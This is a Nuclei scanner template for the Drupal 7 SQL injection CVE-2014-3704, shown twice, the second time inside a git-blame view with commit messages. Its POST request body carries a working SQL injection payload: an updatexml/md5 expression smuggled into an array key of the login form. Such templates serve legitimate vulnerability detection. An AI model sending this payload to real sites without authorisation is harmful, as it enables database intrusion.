nuclei-templates/cves/2014/CVE-2014-3704.yaml

id: CVE-2014-3704
info:
  name: Drupal Sql Injetion
  author: princechaddha
  severity: high
  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.
  reference:
    - https://www.drupal.org/SA-CORE-2014-005
    - http://www.exploit-db.com/exploits/34984
    - http://www.exploit-db.com/exploits/34992
    - http://www.exploit-db.com/exploits/34993
    - http://www.exploit-db.com/exploits/35150
  tags: cve,cve2014,drupal,sqli

requests:
  - method: POST
    path:
      - "{{BaseURL}}/?q=node&destination=node"
    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500

      - type: word
        words:
          - "PDOException"
          - "e807f1fcf82d132f9bb018ca6738a19f"
        condition: and
        part: body
Create CVE-2014-3704.yaml 2021-04-07 12:22:53 +00:00			`id: CVE-2014-3704`
			`info:`
			`name: Drupal Sql Injetion`
			`author: princechaddha`
			`severity: high`
			`description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Description and references 2021-04-22 09:02:19 +00:00			`- https://www.drupal.org/SA-CORE-2014-005`
			`- http://www.exploit-db.com/exploits/34984`
			`- http://www.exploit-db.com/exploits/34992`
			`- http://www.exploit-db.com/exploits/34993`
			`- http://www.exploit-db.com/exploits/35150`
Create CVE-2014-3704.yaml 2021-04-07 12:22:53 +00:00			`tags: cve,cve2014,drupal,sqli`

			`requests:`
			`- method: POST`
			`path:`
			`- "{{BaseURL}}/?q=node&destination=node"`
			`body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a'`

			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 500`

			`- type: word`
			`words:`
			`- "PDOException"`
			`- "e807f1fcf82d132f9bb018ca6738a19f"`
			`condition: and`
			`part: body`